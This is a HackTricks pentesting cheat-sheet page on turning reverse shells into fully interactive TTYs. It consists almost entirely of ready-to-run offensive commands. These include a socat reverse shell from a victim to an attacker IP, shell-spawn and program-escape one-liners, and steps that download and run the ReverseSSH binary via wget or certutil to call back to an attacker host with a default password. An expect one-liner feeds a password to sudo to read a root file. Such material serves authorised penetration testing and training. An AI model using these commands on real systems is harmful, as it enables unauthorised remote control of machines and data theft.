hacktricks/generic-methodologies-and-resources/shells/full-ttys.md
2022-05-01 13:25:53 +00:00

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Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.

python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
script -qc /bin/bash /dev/null
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.

Below is an example for x86 with upx-compressed binaries. For other binaries, check releases page.

  1. Prepare locally to catch the ssh port forwarding request:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • 2a Linux target:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
  • 2b Windows 10 target for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features):
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • If the ReverseSSH port forwarding request was successful, you should now be able to log in with default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):
# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

No TTY

If for some reason you cannot obtain a full TTY you still can interact with programs that expects user input. In the following example, the password is passed to sudo to read a file:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

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Get the official PEASS & HackTricks swag

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Share your hacking tricks submitting PRs to the hacktricks github repo.